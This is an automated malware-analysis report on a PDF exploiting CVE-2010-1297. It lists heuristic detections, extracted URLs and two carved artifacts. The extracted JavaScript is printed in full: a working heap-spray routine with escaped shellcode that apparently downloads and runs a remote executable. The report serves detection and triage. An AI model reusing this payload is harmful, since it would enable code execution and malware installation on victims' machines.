MALICIOUS
264
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF contains embedded JavaScript and a Flash object, which are leveraged by the CVE-2010-1297 exploit. The JavaScript uses String.fromCharCode and heap spray techniques, indicating an attempt to execute arbitrary code. The embedded SWF file and JavaScript stream are suspicious, and the presence of an unknown URL suggests a potential command and control or download location.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 9
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CVE-2010-1297 — Adobe Flash/Reader authplay heap-spray (Flash-in-PDF) critical CVE likely CVE_2010_1297PDF embeds a Flash (SWF) object via RichMedia and its JavaScript heap-sprays to groom memory for the embedded Flash exploit. This is the CVE-2010-1297 (authplay.dll) Flash-in-PDF memory-corruption shape; the spray is recovered after de-obfuscating space-padded %u, fromCharCode and \u builders that evade the raw heap-spray rules.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C … -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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RichMedia (Flash) high PDF_RICHMEDIAPDF contains /RichMedia (Adobe Flash) which is a historic exploit vector
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ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEXHex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded file low PDF_EMBEDDEDPDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.flashandmath.com In PDF document text
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
- http://adobe.com/AS3/2006/builtinIn PDF document text
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
Adobe.swf |
pdf-embedded-file | PDF EmbeddedFile object 16 at offset 0xAC5 | 55839 bytes |
SHA-256: ce5f7936cf8e3536a88a804ce2d6902022df1794fa878bdc64a26866e34ba989 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
actual_type=SWF; declared_or_context_type=PDF; filename=Adobe.swf; kind=pdf-embedded-file
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javascript_obj0006_000.js |
pdf-javascript-stream | PDF /JS object 6 at offset 0xF5 | 1564 bytes |
SHA-256: bce32915f9d1cee134d654cddcd3b65ba903a51ddf27994bea59ca7d4c6819d5 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C\u5A8B\u011C\u8BEB\u8B04\uE801\u4489\u1C24\uC361\u54EB\uD231\u5252\u5553\uFF52\uEBD0\uEB1A\uE85D\uFF7B\uFFFF\uE7BA\u8BBA\u52C4\uE850\uFF92\uFFFF\uD231\uFF52\uEBD0\uE82D\uFF63\uFFFF\uAABA\u8A6E\u52F3\uE850\uFF7A\uFFFF\uD231\uC283\u83FF\uFAEA\u5352\uD0FF\uC9EB\u47BA\uC87D\u52A0\uE850\uFF60\uFFFF\uAEEB\u5DEB\u34E8\uFFFF\uBAFF\uCE12\u091A\u5052\u4BE8\uFFFF\u56FF\uD0FF\uDAEB\uF9E8\uFFFE\u75FF\u6C72\u6F6D\u2E6E\u6C64\uFF6C\u2E2E\u752F\u6470\u7461\u2E65\u7865\uFF65\u7468\u7074\u2F3A\u752F\u6173\u656B\u6873\u632E\u6D6F\u6C2F\u766F\u6C65\u2F79\u642F\u776F\u6C6E\u616F\u5F64\u6966\u656C\u702E\u7068\u653F\u413D\u6F64\u6562\u322D\u3130\u2D30\u3832\u3438\uCDFF\u0003';while (padding.length < 65564){ padding+=padding;}var value = padding.substring(0, 0x5f4);value += html;value += padding;var destination = value.substring(0, 32768);while(1){ destination += destination; if(destination.length >= 524288) break;}var today = destination.substring(0, 524288 - 2060);var forever = new Array();for (var infinite = 0; infinite < 496; infinite++){ forever[infinite]=today+'s';}
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